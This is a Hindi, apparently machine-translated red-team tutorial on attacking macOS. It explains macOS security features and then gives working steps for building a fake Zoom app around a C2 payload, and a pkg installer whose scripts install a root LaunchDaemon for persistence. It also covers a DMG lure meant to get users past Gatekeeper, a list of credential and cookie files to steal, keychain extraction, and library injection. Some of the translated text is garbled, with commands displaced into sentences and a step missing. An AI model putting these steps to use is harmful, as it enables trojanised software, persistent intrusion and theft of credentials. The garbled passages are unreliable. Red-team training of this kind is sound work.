रेड टीमिंग macOS 101

Feb 28 2023
इस पोस्ट में बुनियादी macOS सुरक्षा अवधारणाओं को शामिल किया गया है और उम्मीद है कि यह रेड टीमिंग macOS वातावरण के लिए एक परिचय के रूप में कार्य करेगा। विषय शामिल इस पोस्ट के भीतर कुछ भी "नया" शोध नहीं है, बल्कि आसान पढ़ने और परिचय के लिए एक ही स्थान पर, नीचे दिए गए संसाधनों से उपरोक्त विषयों के बारे में समेकित जानकारी है।

इस पोस्ट में बुनियादी macOS सुरक्षा अवधारणाओं को शामिल किया गया है और उम्मीद है कि यह रेड टीमिंग macOS वातावरण के लिए एक परिचय के रूप में कार्य करेगा।

शामिल विषय

  • macOS सुरक्षा अवलोकन
    - गेटकीपर और XProtect
    - कठोर रनटाइम
    - सिस्टम इंटीग्रिटी प्रोटेक्शन (SIP)
    - पारदर्शिता, सहमति और नियंत्रण (TCC)
    - macOS सैंडबॉक्स
    - कीचेन
  • इनिशियल एक्सेस पेलोड और पर्सिस्टेंस
    - एप्लिकेशन बंडल
    - इंस्टॉलर पैकेज
    - डिस्क इमेज (DMG)
  • विशेषाधिकार वृद्धि और शोषण के बाद
    - स्थितिजन्य जागरूकता
    - कुकीज़ चोरी करना
    - क्लिपबोर्ड मॉनिटरिंग
    - कोड इंजेक्शन
    - इन-मेमोरी मच-ओ लोडिंग

इस पोस्ट के भीतर कुछ भी "नया" शोध नहीं है, बल्कि आसान पढ़ने और परिचय के लिए एक ही स्थान पर नीचे दिए गए संसाधनों से उपरोक्त विषयों के बारे में समेकित जानकारी है।

  • ब्लॉग
    - पैट्रिक वार्डल/ऑब्जेक्टिव देखें
    - एडम चेस्टर
    - जस्टिन बुई
    - साबा फिट्ज़ल
    - वोज्शिएक रेगुला
    - सेड्रिक ओवेन्स
    - क्रिस रॉस
    - लियो पिट
  • वीडियो
    - सेड्रिक ओवेन्स का DEFCON 29: रेड टीमिंग macOS
    - कोडी थॉमस 'OBTS: रेड टीमिंग macOS
    - वोज्शिएक रेगुला का x33fcon: रेड टीमिंग macOS
    - कोडी थॉमस' OBTS: लॉक मैकओएस कीचेन चुनना
  • पुस्तकें/पाठ्यक्रम
    - पैट्रिक वार्डल की द आर्ट ऑफ़ मैक मालवेयर
    - आक्रामक सुरक्षा का OSMR
  • ऑल-इन-वन संदर्भ
    - Awesome-macOS-Red-Teaming

गेटकीपर और एक्सप्रोटेक्ट

गेटकीपर एक सुरक्षा तंत्र है जिसे केवल विश्वसनीय अनुप्रयोगों को सिस्टम पर चलाने की अनुमति देने के लिए डिज़ाइन किया गया है, इसी तरह विंडोज पर स्मार्टस्क्रीन और MOTW। जब निष्पादन योग्य फ़ाइलें इंटरनेट से डाउनलोड की जाती हैं तो उन्हें com.apple.quarantineविशेषता के साथ चिह्नित किया जाता है, जो फ़ाइल चलने पर गेटकीपर को ट्रिगर करता है।

यदि निष्पादन योग्य नोटरीकृत है, तो गेटकीपर फ़ाइल के कोड हस्ताक्षर की पुष्टि करता है और उपयोगकर्ता को यह पुष्टि करने के लिए संकेत देता है कि वे फ़ाइल चलाना चाहते हैं।

नोटरीकृत ऐप पर डबल-क्लिक करना

यदि निष्पादन योग्य नोटरीकृत नहीं है, तो गेटकीपर उपयोगकर्ता को सूचित करेगा कि फ़ाइल को चलाया नहीं जा सकता क्योंकि यह अहस्ताक्षरित है। अहस्ताक्षरित निष्पादन योग्य को चलाने के लिए उपयोगकर्ता को फ़ाइल पर राइट-क्लिक करना होगा, फिर डबल-क्लिक करने के बजाय ओपन पर क्लिक करना होगा।

अहस्ताक्षरित फ़ाइल पर डबल-क्लिक करना
अहस्ताक्षरित फ़ाइल खोलने के लिए राइट-क्लिक करें

कोड हस्ताक्षर के सत्यापन के बाद, XProtect, जो macOS का अंतर्निहित एंटीवायरस है, मैलवेयर के लिए फ़ाइल को स्कैन करेगा। locate XProtect.yaraXProtect YARA के नियमों का उपयोग करता है, जिन्हें तब तक पाया जा सकता है जब तक कि आप डिफ़ॉल्ट मेटास्प्लोइट पेलोड नहीं चला रहे हैं। इसके अतिरिक्त, एक्सप्रोटेक्ट केवल तीन स्थितियों में मैलवेयर के लिए स्कैन करता है

  • फ़ाइल पहली बार चलाई जा रही है
  • फ़ाइल का हैश बदल गया है
  • XProtect के YARA नियमों को अपडेट कर दिया गया है

कठोर रनटाइम

कठोर रनटाइम एक ऐसी सुविधा है जिसे डाइलिब हाइजैकिंग, पर्यावरण चर और टास्क पोर्ट इंजेक्शन के माध्यम से कोड इंजेक्शन से बचाने के लिए ऐप्स पर सक्षम किया जा सकता है। कठोर रनटाइम इंजेक्शन से कैसे बचाता है इसका एक उदाहरण यह है कि प्रक्रिया में लोड किए गए किसी भी डाइलिब को ऐप के समान प्रमाणपत्र के साथ हस्ताक्षरित किया जाता है। यह निश्चित रूप से मुद्दों का कारण बनता है जब किसी एप्लिकेशन को तीसरे पक्ष के डाइलिब्स को लोड करने की आवश्यकता होती है, इस प्रकार, इनमें से कुछ प्रतिबंधों को हटाने के लिए ऐप्स के पास कुछ अधिकार हो सकते हैं।

हम Poseidon में codesign -d --entitlements :- <file>या list_entitlementsकमांड के माध्यम से ऐप एंटाइटेलमेंट को सूचीबद्ध कर सकते हैं, और यदि निम्न में से कोई भी मौजूद है तो हम ऐप में इंजेक्ट करने में सक्षम हो सकते हैं:

  • पात्रता com.apple.security.cs.disable-library-validationकिसी भी dylib, हस्ताक्षरित या अहस्ताक्षरित, को प्रक्रिया में लोड करने की अनुमति देती है। dylibs के स्थान के आधार पर ऐप लोड होता है, यह dylib अपहरण के लिए दरवाजा खोल सकता है।
  • एंटाइटेलमेंट डायलिब्स को पर्यावरण चर com.apple.security.cs.allow-dyld-environment-variablesसे लोड करने की अनुमति देता है । DYLD_INSERT_LIBRARIESहालांकि, केवल यह पात्रता पहले उल्लिखित कोड हस्ताक्षर आवश्यकताओं को नहीं हटाती है। यदि यह पात्रता अक्षम-पुस्तकालय-सत्यापन पात्रता के साथ मौजूद है, तो आप लिनक्स DYLD_INSERT_LIBRARIES=malicious.dylib ./appकी तरह ही ऐप में इंजेक्ट कर सकते हैं।LD_PRELOAD
  • एंटाइटेलमेंट com.apple.security.get-task-allowअन्य ऐप्स को आपके ऐप का टास्क पोर्ट प्राप्त करने की अनुमति देता है, जो कि विंडोज पर एक प्रक्रिया को हैंडल प्राप्त करने के समान है। यह ध्यान दिया जाना चाहिए कि टास्क पोर्ट तक पहुँचने के लिए आपका कोड रूट के रूप में चलना चाहिए। टास्क पोर्ट के साथ आप शेलकोड लिखकर और थ्रेड बनाकर अपना क्लासिक प्रोसेस इंजेक्शन कर सकते हैं।
  • ओब्सीडियन के अधिकारों की सूची बनाना

सिस्टम इंटीग्रिटी प्रोटेक्शन (एसआईपी)

एसआईपी उर्फ ​​​​"रूटलेस" सिस्टम फाइलों को संशोधनों से बचाता है। अनिवार्य रूप से रूट उपयोगकर्ता के रूप में भी हम कुछ सिस्टम फ़ाइलों को नहीं बदल सकते हैं जैसे निष्पादनयोग्य /bin/. एसआईपी द्वारा संरक्षित फाइलों को restrictedझंडे के माध्यम से पहचाना जा सकता है।

एसआईपी को के माध्यम से अक्षम किया जा सकता है csrutil disable, हालांकि, इसके लिए पुनर्प्राप्ति मोड में डिवाइस को पुनरारंभ करने की आवश्यकता होती है, इस प्रकार, यह आमतौर पर लाल टीम के दृष्टिकोण से प्रश्न से बाहर होता है।

पारदर्शिता, सहमति और नियंत्रण (टीसीसी)

TCC v10.14+ में लागू किया गया macOS प्राइवेसी फ़ीचर है जो उपयोगकर्ता को स्पष्ट रूप से अनुमति देने के लिए संकेत देता है जब कोई एप्लिकेशन कैमरा जैसे कुछ संसाधनों और , , , Desktopऔर Downloadsड्राइव Documents/वॉल्यूम सहित कुछ फ़ोल्डरों तक पहुँचने का प्रयास करता है।

टीसीसी शीघ्र

अनुमति के बिना किसी TCC संरक्षित संसाधन तक पहुँचने का प्रयास करने से गलती से एक संकेत उत्पन्न हो सकता है, उपयोगकर्ता को आपकी उपस्थिति के बारे में सचेत किया जा सकता है, और अंततः आपका जुड़ाव अपेक्षा से पहले समाप्त हो सकता है। नीचे कुछ उपयोगी फाइलें दी गई हैं जो टीसीसी द्वारा संरक्षित नहीं हैं:

  • होम डाइरेक्टरी में हिडन फाइल्स और फोल्डर — ~/.aws/*, ~/.ssh/*, ~/.bash_history,~/.zsh_history
  • उपयोगकर्ता अनुप्रयोग डेटा -~/Library/Application Support/*
  • कुकी फ़ाइलें — ~/Library/Application Support/Google/Chrome/Default/Cookies,~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

उपयोगकर्ता के TCC डेटाबेस के साथ सहभागिता करने के लिए पूर्ण डिस्क एक्सेस (FDA) की आवश्यकता होती है, हालाँकि, यदि हम इसके साथ सहभागिता कर सकते हैं, तो हम इसे अन्य संसाधनों तक पहुँच प्रदान करने के लिए संशोधित कर सकते हैं। fileहम उपयोगकर्ता के TCC डेटाबेस के विरुद्ध चलाकर उपयोगकर्ता को संकेत दिए बिना जाँच सकते हैं कि हमारे पास FDA है या नहीं ।

एफडीए के साथ
एफडीए के बिना

टीसीसी बाईपास विशेष रूप से "दुर्लभ" नहीं हैं और मैं पुराने और नए बाईपासों के साथ अद्यतित रहने के लिए सिसाबा फिट्ज़ल के ब्लॉग की जांच करने की सलाह देता हूं।

macOS सैंडबॉक्स

MacOS सैंडबॉक्स एक ऐसी सुविधा है जिसमें डेवलपर अपने ऐप्स को चुन सकते हैं यदि उन्हें ऐप स्टोर के बाहर रिलीज़ किया जाता है, और ऐप स्टोर से सीधे डाउनलोड किए गए सभी ऐप के लिए अनिवार्य है। जिन ऐप्स ने सैंडबॉक्स फीचर में ऑप्ट-इन किया है, उनके पास com.apple.security.app-sandboxएंटाइटेलमेंट होगा, और जैसा कि नाम से पता चलता है, उन्हें सैंडबॉक्स के अंदर चलने के लिए बाध्य करेगा। सैंडबॉक्स में चलने वाले ऐप्स की सिस्टम तक बहुत सीमित पहुंच होती है जैसे कि डिस्क पर फ़ाइलों को पढ़ने या लिखने की क्षमता। इस कारण से, macOS पर कुछ हमले के रास्ते जैसे कि मैक्रोज़ के माध्यम से फ़िशिंग आकर्षक नहीं हैं। जैसा कि Microsoft Office ऐप सैंडबॉक्स में ऑप्ट-इन करता है और आपको लगातार बने रहने और लूटने से रोकेगा।

कीचेन

कीचेन की तुलना विंडोज़ पर एलएसएएसएस से की जा सकती है और पासवर्ड और ऐप्स के लिए कुंजी जैसे रहस्य रखती है। उदाहरण के लिए, एक एप्लिकेशन डिस्क पर संग्रहीत फ़ाइलों को एन्क्रिप्ट कर सकता है, और इन फ़ाइलों के लिए डिक्रिप्शन कुंजी कीचेन में संग्रहीत होती है। सिस्टम कीचेन पर पाया जा सकता है /Library/Keychains/System.keychainऔर उपयोगकर्ता की कीचेन पर पाया जा सकता है ~/Library/Keychains/login.keychain-db।

आप उपयोगकर्ता की कीचेन डाउनलोड कर सकते हैं, हालांकि, भीतर के रहस्य उपयोगकर्ता के पासवर्ड से एन्क्रिप्ट किए जाएंगे। इस पर निर्भर करते हुए कि क्या आपके पास उपयोगकर्ता का पासवर्ड है, आप या तो रहस्यों को निकालने के लिए चैनब्रेकर का लाभ उठा सकते हैं , या किचेन पासवर्ड के हैश को --dump-keychain-password-hashहैशकैट के प्रारूप में डंप कर सकते हैं, जो क्रैक करने में बेहद धीमा है।

अंत में, कीचेन के भीतर प्रत्येक प्रविष्टि में एसीएल और अनुमतियाँ जुड़ी हुई हैं जिन्हें किचेन एक्सेस ऐप के भीतर देखा जा सकता है। विश्वसनीय एप्लिकेशन ऐसे ऐप होते हैं जो उपयोगकर्ता को संकेत दिए बिना कीचेन प्रविष्टि पर संचालन कर सकते हैं। यह सूची "एक्सेस कंट्रोल" टैब के तहत पाई जा सकती है, और एक दिलचस्प मामला है जहां सूची "न्यूल" है, जिसका अर्थ है कि सभी ऐप्स भरोसेमंद हैं, खाली सूची से भ्रमित न हों, जिसका मतलब है कि कोई ऐप भरोसेमंद नहीं है।

यदि आप किसी विश्वसनीय ऐप के संदर्भ में चल रहे हैं या सूची NULL है, और आपके पास निम्न में से कोई भी प्राधिकरण है, तो आप उपयोगकर्ता को संकेत दिए बिना रहस्य निकालने में सक्षम हो सकते हैं:

  • ACLAuthorizationDecrypt
  • ACLAuthorizationExportClear
  • ACLAuthorizationExportWrapped
  • ACL प्राधिकरण कोई भी

इनिशियल एक्सेस पेलोड और दृढ़ता

यदि आप नीचे सूचीबद्ध लोगों के लिए macOS विकल्प के लिए पेलोड प्रकारों के बारे में जानने में रुचि रखते हैं, तो मैं मिस्टिकल प्रोजेक्ट और संबंधित ब्लॉग पोस्ट की जाँच करने की सलाह देता हूँ ।

इसके अतिरिक्त, यह ध्यान दिया जाना चाहिए कि macOS पर EDR उत्पाद परिपक्व नहीं हैं और अनिवार्य रूप से केवल एक लॉगिंग उत्पाद के रूप में कार्य करते हैं। इसलिए, आप आमतौर पर मेटास्प्लोइट के अलावा किसी भी डिफ़ॉल्ट C2 एजेंट का उपयोग कर सकते हैं, और आपके पेलोड को पकड़ने वाले EDR के बारे में चिंता करने की आवश्यकता नहीं है।

आवेदन बंडल

एप्लिकेशन बंडल (.app) सबसे सामान्य प्रोग्राम प्रकारों में से एक हैं और प्रारूप हैं लगभग सभी एंड-यूज़र सॉफ़्टवेयर के रूप में जारी किए जाते हैं। जब आप लॉन्चपैड में क्लिक करते हैं तो ऐप बंडल /Applications/आपके भीतर संग्रहीत और प्रदर्शित होते हैं। Apple के प्रलेखन को संदर्भित करते हुए , एक न्यूनतम ऐप बंडल में आमतौर पर निम्नलिखित संरचना होती है:

AppName.app/
    Contents/
        Info.plist  # App config info
        MacOS/      # Contains the app's executable file
        Resources/  # Fonts, images, sounds, icons, etc.

1 - ऐप बंडल फ़ोल्डर संरचना बनाएं

mkdir FakeZoom.app
mkdir FakeZoom.app/Contents
touch FakeZoom.app/Contents/Info.plist
mkdir FakeZoom.app/Contents/MacOS
mkdir FakeZoom.app/Contents/Resources

अगला, चूंकि इंटेल और सिलिकॉन मैक दोनों अब आम हैं, हम एएमडी और एआरएम पोसीडॉन पेलोड दोनों बना सकते हैं, और फिर उन्हें एक सार्वभौमिक मैक-ओ में जोड़ सकते हैं जो या तो आर्किटेक्चर पर चल सकता है और फिर इसे निर्देशिका में रख सकता lipo -create <arm-payload> <amd-payload> -output <universal-payload>है MacOS।

एक सार्वभौमिक पोसीडॉन पेलोड का निर्माण

3 - फ़ाइल बनाएँ Info.plist।

Apple के डेवलपर डॉक्स का जिक्र करते हुए हमें कुछ कुंजियाँ निर्दिष्ट करने की आवश्यकता होगी:

  • CFBundleExecutable — MacOS निर्देशिका के भीतर मुख्य निष्पादन योग्य का नाम (PoseidonPayload)
  • CFBundleIconFile — अनुप्रयोग छवि का नाम (ZoomImageForPayload)
  • CFBundleIdentifier - वह स्ट्रिंग जो अद्वितीय रूप से सिस्टम पर आपके एप्लिकेशन की पहचान करती है (com.examplepayload.Zoom)
  • CFBundleName — आपके ऐप का नाम (FakeZoom)
  • CFBundleVersion - आपके ऐप का बिल्ड वर्जन नंबर (1.0.0)
  • <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
     <key>CFBundleExecutable</key>
     <string>PoseidonPayload</string>
     <key>CFBundleIconFile</key>
     <string>ZoomImageForPayload</string>
     <key>CFBundleIdentifier</key>
     <string>com.examplepayload.Zoom</string>
     <key>CFBundleName</key>
     <string>FakeZoom</string>
     <key>CFBundleVersion</key>
     <string>1.0.0</string>
    </dict>
    </plist>
    

चूंकि हम एक नकली जूम ऐप बना रहे हैं, इसलिए हम जूम की आइकॉन फाइल को डायरेक्टरी से कॉपी कर सकते हैं /Applications/(यदि यह इंस्टॉल है) और में Resources/ZoomImageForPayload, हालांकि, आप वैकल्पिक रूप से किसी भी आइकन का उपयोग कर सकते हैं जो आप चाहते हैं।

ऐप फ़ोल्डर संरचना

इंस्टॉलर पैकेज

इंस्टालर पैकेज (.pkg) xar आर्काइव हैं और एक अन्य सामान्य प्रोग्राम प्रकार देखा जाता है जब सॉफ़्टवेयर को रूट विशेषाधिकारों के साथ स्थापित करने की आवश्यकता होती है। जबकि इंस्टॉलर पैकेज में खोले जाने पर चलाने के लिए एक मुख्य पेलोड हो सकता है, एक विकल्प "प्रीइंस्टॉल" और "पोस्टइंस्टॉल" स्क्रिप्ट का लाभ उठाने के लिए है, जिसका नाम तात्पर्य है, इंस्टॉल करने से पहले और बाद में एक स्क्रिप्ट चलाएगा।

इस उदाहरण के लिए हम एक इंस्टॉलर पैकेज बनाएंगे जो इन स्क्रिप्ट का उपयोग एक लॉन्चडेमन को रूट यूजर के रूप में खोलने के लिए पंजीकृत करने के लिए करता है।

1 - इंस्टॉलर पैकेज फ़ोल्डर संरचना बनाएँ

mkdir scripts
mkdir scripts/files
touch scripts/preinstall
touch scripts/postinstall
chmod +x scripts/preinstall
chmod +x scripts/postinstall

2 - लॉन्चडेमन के रूप में पंजीकरण करने के लिए प्लिस्ट फ़ाइल बनाएं

इस प्लिस्ट फ़ाइल के भीतर वास्तव में केवल एक ही मूल्य की आवश्यकता होती है, जो ProgramArgumentsअनिवार्य रूप से निर्दिष्ट करता है कि लॉन्चडेमन ट्रिगर होने पर क्या चलाना है।

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>Label</key>
 <string>com.examplepayload.persistence</string>
 <key>ProgramArguments</key>
 <array>
  <string>/Library/Application Support/PoseidonPayload</string>
 </array>
 <key>KeepAlive</key>
 <true/>
</dict>
</plist>

3 - प्री और पोस्ट इंस्टाल स्क्रिप्ट बनाएं

ये स्क्रिप्ट केवल नियमित बैश स्क्रिप्ट हैं, हालांकि, उन्हें से शुरू #!/bin/bashऔर समाप्त होना चाहिए exit 0। हम अपने प्लिस्ट और पेलोड को डिस्क पर सही स्थानों पर कॉपी करने के लिए प्रीइंस्टॉल स्क्रिप्ट का उपयोग करेंगे, और फिर लॉन्चडेमन को पंजीकृत करने के लिए पोस्टइंस्टॉल स्क्रिप्ट का उपयोग करेंगे।

#!/bin/bash
cp files/PoseidonPayload "/Library/Application Support/PoseidonPayload"
cp files/com.examplepayload.persistence.plist "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0
#!/bin/bash
launchctl load "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0

      
                

इन लिपियों से इंस्टॉलर पैकेज बनाने के लिए हम बस चला सकते हैंpkgbuild --identifier <identifier> --nopayload --scripts <path to scripts folder> <output>.pkg

हम लॉन्चडेमन को चलाकर उतार सकते हैं launchctl unload com.examplepayload.persistence.plistऔर यह ध्यान दिया जाना चाहिए कि पेलोड को गिराना /Library/Application Support/विशुद्ध रूप से वरीयता थी, और इसे कहीं और गिराया जा सकता है।

LaunchDaemons macOS पर केवल एक प्रकार की दृढ़ता का प्रतिनिधित्व करता है और यदि आप अन्य रूपों में रुचि रखते हैं, तो मैं SentinelOne के ब्लॉग को देखने की सलाह देता हूं ।

डिस्क छवियां (DMG)

डीएमजी कंप्रेस्ड वॉल्यूम होते हैं जिनमें अन्य पेलोड फॉर्मेट हो सकते हैं। डीएमजी फ़ाइल के भीतर अपना पेलोड देने का लाभ यह है कि आप सामाजिक इंजीनियरिंग में उपयोगकर्ता को राइट-क्लिक करने में मदद करने के लिए ग्राफिकल तत्व जोड़ सकते हैं, फिर गेटकीपर को बायपास करने के लिए अपना पेलोड खोलें, क्योंकि डीएमजी स्वयं गेटकीपर को आमंत्रित नहीं करता है।

एक वास्तविक दिखने वाली DMG बनाने के लिए हमें एक कस्टम पृष्ठभूमि छवि बनाने की आवश्यकता होगी, मैं Draw.io के साथ-साथ वैध सॉफ़्टवेयर या कंपनी वॉलपेपर का लाभ उठाना पसंद करता हूँ , लेकिन आप अपनी पसंद के अनुसार अपना बना सकते हैं।

इस डेमो के लिए, मैंने इस छवि को आधार बनाया और इसे बनाया:

Disk Utilityशुरू करने के लिए हम "फ़ाइल" खोलकर और फिर "नई छवि" और फिर "रिक्त छवि ..." चुनकर एक डिस्क छवि बना सकते हैं।

हम अपने वॉल्यूम के नाम का चयन कर सकते हैं, और फिर "प्रारूप" को "मैक ओएस एक्सटेंडेड (जर्नलेड)" में बदल सकते हैं।

.dmg फ़ाइल खोलें, जो मेरे मामले में "example-payload.dmg" है, और आपके डेस्कटॉप में एक वॉल्यूम दिखाई देगा, फिर वॉल्यूम खोलें, जो मेरे मामले में "उदाहरण" है। MacOS पर छिपी हुई फ़ाइलों को दिखाने के लिए आप "[शिफ्ट] + [कमांड] + [पीरियड]" पर क्लिक कर सकते हैं।

/Volumes/<volume-name>/अपने पेलोड के साथ, अपनी पृष्ठभूमि छवि को एक छिपी हुई फ़ाइल के रूप में वॉल्यूम में ले जाएँ । इस उदाहरण के लिए हम उपरोक्त अनुभाग से ऐप बंडल का पुन: उपयोग कर सकते हैं।

अगला, हम वॉल्यूम में क्लिक कर सकते हैं और "व्यू" का चयन कर सकते हैं और उसके बाद "शो व्यू विकल्प" चुन सकते हैं।

"बैकग्राउंड" के तहत "पिक्चर" चुनें, फिर "इमेज को यहां खींचें" बॉक्स पर डबल क्लिक करें। एक नई खोजक विंडो खुल जाएगी और आप वॉल्यूम के भीतर से पृष्ठभूमि छवि का चयन कर सकते हैं। यदि आप वॉल्यूम के भीतर मौजूद छवि का चयन नहीं करते हैं तो इससे त्रुटियां हो सकती हैं। इसके अतिरिक्त, हम "आइकन आकार" के माध्यम से आइकन का आकार बदल सकते हैं।

अपनी पृष्ठभूमि में फ़िट होने के लिए विंडो का आकार बदलें, और ऐप बंडल को मध्य में रखें।

एक बार जब आप लेआउट से संतुष्ट हो जाते हैं, और खोजक विंडो अभी भी खुली रहती है, तो डेस्कटॉप पर वॉल्यूम पर राइट क्लिक करें, और "निकालें" पर क्लिक करें।

फिर से खोलें Disk Utilityऔर "छवियां" चुनें, फिर "कन्वर्ट ..."

अपनी डीएमजी फ़ाइल का चयन करें, फिर "एन्क्रिप्शन: कोई नहीं" और "छवि प्रारूप: संपीड़ित" चुनें

निश्चित रूप से यह डेमो बहुत अधिक समझ में नहीं आता है क्योंकि यह ज़ूम एप्लिकेशन (एलओएल) के साथ क्रोम पृष्ठभूमि है, हालांकि, उम्मीद है कि आपको यह बात मिल जाएगी।

पेलोड के संबंध में ध्यान देने वाली एक अंतिम बात यह है कि आपके ब्राउज़र के माध्यम से डाउनलोड की गई फ़ाइलें उस विशेषता को जोड़ देंगी com.apple.metadata:kMDItemWhereFroms, जो सूचीबद्ध करती है कि फ़ाइल कहाँ से डाउनलोड की गई थी। यदि आप अपने पोसीडॉन पेलोड को सीधे अपने ब्राउज़र में Mythic से पैकेजिंग से पहले डाउनलोड कर रहे हैं, तो इससे गलती से आपके टीम सर्वर का स्थान प्रकट हो सकता है। आप इस विशेषता को के माध्यम से निकाल सकते हैं xattr -d com.apple.metadata:kMDItemWhereFroms <file>।

विशेषाधिकार वृद्धि और शोषण के बाद

यह खंड उन सभी गतिविधियों से परिपूर्ण नहीं है जिन्हें आप शेल प्राप्त करने के बाद कर सकते हैं और इसका उद्देश्य केवल macOS पर पोस्ट-एक्स का सामान्य विचार देना है।

स्थिति के अनुसार जागरूकता

आप HealthInspector या SwiftBelt चलाकर , या मैन्युअल रूप से कॉन्फ़िग फ़ाइलों को ब्राउज़ करके, सिस्टम पर कुछ स्थितिजन्य जागरूकता जाँच के साथ शुरुआत कर सकते हैं। इनमें से कई फाइलें बाइनरी फॉर्मेट में प्लिस्ट फाइलें होंगी और उन्हें पढ़ने योग्य बनाने के लिए आप plutil. रुचि की कुछ फाइलें हो सकती हैं:

  • उपयोगकर्ता के पास डॉक में कौन से ऐप्स हैं? —plutil -p ~/Library/Preferences/com.apple.dock.plist
  • उपयोगकर्ता ने हाल ही में किन फाइलों के साथ इंटरैक्ट किया? —plutil -p ~/Library/Preferences/com.apple.finder.plist
  • आप macOS के किस संस्करण पर हैं? —plutil -p /System/Library/CoreServices/SystemVersion.plist

इसके बाद, आप कुछ फ़ाइलों को डिस्क से डाउनलोड करना शुरू कर सकते हैं जो डिस्क से टीसीसी द्वारा सुरक्षित नहीं हैं, जिसमें उपयोगकर्ता की बैश या zsh हिस्ट्री, ssh कुंजियाँ, क्लाउड कुंजियाँ (AWS, GCP, आदि), कीचेन, और कुकीज़ शामिल हैं।

यह देखते हुए कि आप एक macOS पर हैं, यह संभव है कि आपके जुड़ाव के लिए संगठन एक तकनीकी कंपनी या स्टार्टअप हो सकता है, और इन वातावरणों में स्लैक आम है। यदि ऐसा है, तो आप निम्न फ़ाइलें डाउनलोड कर सकते हैं:

  • ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/storage/root-state.json
  • ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

आगे, आप ब्राउज़र कुकीज़ को लक्षित कर सकते हैं, इस उदाहरण के लिए हम Google Chrome का उपयोग करेंगे। यदि आपके पास उपयोगकर्ता का पासवर्ड या तो उनके बैश या zsh इतिहास में खोजने से है या शायद पासवर्ड प्रोम्प्टर चलाने से है , तो आप ~/Library/Application Support/Google/Chrome/Default/Cookiesफ़ाइल को ऑफ़लाइन डाउनलोड और डिक्रिप्ट कर सकते हैं। वैकल्पिक रूप से, यदि आपके पास उपयोगकर्ता का पासवर्ड नहीं है, तो आप Chrome को रिमोट डिबगिंग सक्षम के साथ प्रारंभ करने के लिए WhiteChocolateMacademiaNut जैसे टूल का उपयोग कर सकते हैं और फिर कुकीज़ को एक वेबसोकेट पर डंप कर सकते हैं। दोबारा, चूंकि मैक ईडीआर परिपक्व नहीं हैं, डिस्क पर खराब उपकरण छोड़ना चिंता का विषय नहीं होना चाहिए।

ब्राउज़र कुकीज़ तक पहुंच के साथ आप Poseidon के अंतर्निर्मित कमांड के माध्यम से एक SOCKS खोल सकते हैं या चिज़ल ड्रॉप कर सकते हैं , और आंतरिक साइटों को ब्राउज़ कर सकते हैं। विशेष रूप से, आप विशेषाधिकार प्राप्त क्रेडेंशियल्स खोजने के लिए आंतरिक प्रलेखन साइटों जैसे कि उनके संगम और उनके आंतरिक कोड रिपॉजिटरी को लक्षित करना चाह सकते हैं।

क्लिपबोर्ड निगरानी

MacOS पर हर बार जब क्लिपबोर्ड सामग्री बदल जाती है तो एक काउंटर बढ़ जाता है, इस प्रकार, हम एक अंतराल में काउंटर के मूल्य की निगरानी कर सकते हैं और क्लिपबोर्ड की सामग्री को बदल सकते हैं यदि यह बदल गया है। Poseidon के पास एक अंतर्निहित कमांड है clipboard_monitorजिसका हम इसके लिए लाभ उठा सकते हैं।

ध्यान देने योग्य कुछ अतिरिक्त बातें:

  • आदेश clipboard_monitorकेवल सादे पाठ को पुनः प्राप्त करने के लिए फ़िल्टर करता है, इसलिए यदि उपयोगकर्ता अपने क्लिपबोर्ड पर बड़ी बाइनरी कॉपी करता है तो हमें अपने C2 पर बड़ी मात्रा में ट्रैफ़िक भेजने की चिंता करने की आवश्यकता नहीं है।
  • रूट उपयोगकर्ता के पास क्लिपबोर्ड तक पहुंच नहीं है, इसलिए किसी भी क्लिपबोर्ड मॉनिटरिंग टूल को उपयोगकर्ता के संदर्भ में चलाया जाना चाहिए।

जैसा कि हार्डन रनटाइम सेक्शन में पहले उल्लेख किया गया है, एक एप्लिकेशन में कोड इंजेक्ट करने में सक्षम होना एक रेड टीम के नजरिए से उपयोगी है क्योंकि यह संभावित रूप से आपको अतिरिक्त एंटाइटेलमेंट और उन संसाधनों तक पहुंच प्रदान कर सकता है जो आपके पास पहले नहीं थे।

उदाहरण के लिए, हो सकता है कि आपके प्रारंभिक पेलोड की डाउनलोड फ़ोल्डर तक पहुंच न हो, हालांकि, यदि आप क्रोम में कोड इंजेक्ट कर सकते हैं, जिसमें पात्रता हो सकती है com.apple.security.files.downloads.read-write, तो आप डाउनलोड फ़ोल्डर ब्राउज़ करने में सक्षम होंगे।

कोड इंजेक्शन के लिए लक्ष्यों को खोजने के लिए आप Poseidon's list_entitlementsकमांड चला सकते हैं जो कठोर रनटाइम सेक्शन में वर्णित एंटाइटेलमेंट के साथ चलने वाली प्रक्रियाओं की खोज करेगा।

यहां से आप संभावित लक्ष्य खोजने के लिए प्रत्येक प्रक्रिया का निरीक्षण कर सकते हैं।

कोड इंजेक्शन का एक अन्य रूप जिसका पहले उल्लेख नहीं किया गया है, वह है "इलेक्ट्रॉन हाईजैकिंग", जिसे इस ब्लॉग में एडम चेस्टर द्वारा बड़े पैमाने पर कवर किया गया है । अनिवार्य रूप से आप ELECTRON_RUN_AS_NODEएक इलेक्ट्रॉन ऐप के एक बच्चे के रूप में एक प्रक्रिया को उत्पन्न करने के लिए पर्यावरण चर का लाभ उठा सकते हैं, और क्योंकि बाल प्रक्रियाएँ अपने माता-पिता की TCC अनुमतियों को प्राप्त करती हैं, आप संभावित रूप से उनकी पात्रता प्राप्त कर सकते हैं।

इन-मेमोरी मच-ओ लोड हो रहा है

